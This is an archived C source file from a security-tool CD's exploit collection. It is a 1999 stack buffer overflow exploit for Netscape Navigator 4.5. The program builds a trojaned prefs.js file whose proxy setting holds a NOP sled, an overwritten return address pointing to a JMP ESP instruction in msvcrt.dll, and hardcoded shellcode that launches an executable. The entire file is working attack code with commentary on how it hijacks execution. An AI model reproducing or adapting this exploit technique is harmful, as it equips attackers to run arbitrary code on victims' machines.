home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / webbrowser / Netscape / prefs.js.c < prev   
C/C++ Source or Header  |  2005-02-12  |  2KB  |  60 lines

  1. /* Stack based buffer overflow exploit for Netscape Navigator 4.5
  2.  * Author Steve Fewer, 22-12-99. Mail me at darkplan@oceanfree.net
  3.  *
  4.  * Netscape Navigator causes a buffer overflow when reading from
  5.  * the users "prefs.js" file. If it reads a string longer than 80
  6.  * bytes in the user_pref("network.proxy.http", "proxy.com");
  7.  * field it smashes the stack overwrighting the EIP and EBP. This
  8.  * can be used to execute arbitrary code.
  9.  *
  10.  * Tested with Netscape Navigator 4.5 using Windows98 on an Intel
  11.  * PII 400 with 128MB RAM
  12.  *
  13.  * http://indigo.ie/~lmf
  14.  */
  15.  
  16. #include <stdio.h>
  17. #include <string.h>
  18.  
  19. int main()
  20. {
  21.   printf("\n\n\t\t........................................\n");
  22.   printf("\t\t.....Netscape Navigator 4.5 exploit.....\n");
  23.   printf("\t\t........................................\n");
  24.   printf("\t\t.....Author: Steve Fewer, 22-12-1999....\n");
  25.   printf("\t\t.........http://indigo.ie/~lmf..........\n");
  26.   printf("\t\t........................................\n\n");
  27.  
  28.   // the first 80 bytes. These get blown away when the stack goes down.
  29.   char buff[96];
  30.  
  31.   // the EBP, we don't need to use it so fill it with B's
  32.   char ebp[8] = "BBBB";
  33.  
  34.   // we point the EIP into msvcrt.dll v6.00.8397.0 where we find a JMP ESP @ 7FD035EB
  35.   char eip[8] = "\xEB\x35\xD0\x7F";
  36.  
  37.   // the is our 'arbitrary code', it just runs a file app.exe from
  38.   // the \WINDOWS\COMMAND directory then calls exit() to clean up
  39.   char sploit[128] = "\x55\x8B\xEC\x33\xFF\x57\x83\xEC\x04\xC6\x45\xF8\x61"
  40.                      "\xC6\x45\xF9\x70\xC6\x45\xFA\x70\xC6\x45\xFB\x2E\xC6"
  41.                      "\x45\xFC\x65\xC6\x45\xFD\x78\xC6\x45\xFE\x65\xB8\x24"
  42.                      "\x98\x01\x78\x50\x8D\x45\xF8\x50\xFF\x55\xF4\x55\x8B"
  43.                      "\xEC\xBA\xFF\xFF\xFF\xFF\x81\xEA\xFB\xAA\xFF\x87\x52"
  44.                      "\x33\xC0\x50\xFF\x55\xFC";
  45.   FILE *file;
  46.   for(int i=0;i<80;i++)
  47.     {
  48.       buff[i] = 0x90;
  49.     }
  50.  
  51.   // just create our new, 'trojand' prefs.js file
  52.   file = fopen("prefs.js","wb");
  53.  
  54.   // and slap in the the nasty sploit
  55.   fprintf(file,"user_pref(\"network.proxy.http\", \"%s%s%s%s\");", buff, ebp, eip, sploit);
  56.   printf("\t     created file prefs.js loaded with the exploit.\n");
  57.  
  58.   return 0;
  59. }
  60. /*                    www.hack.co.za              [2000]*/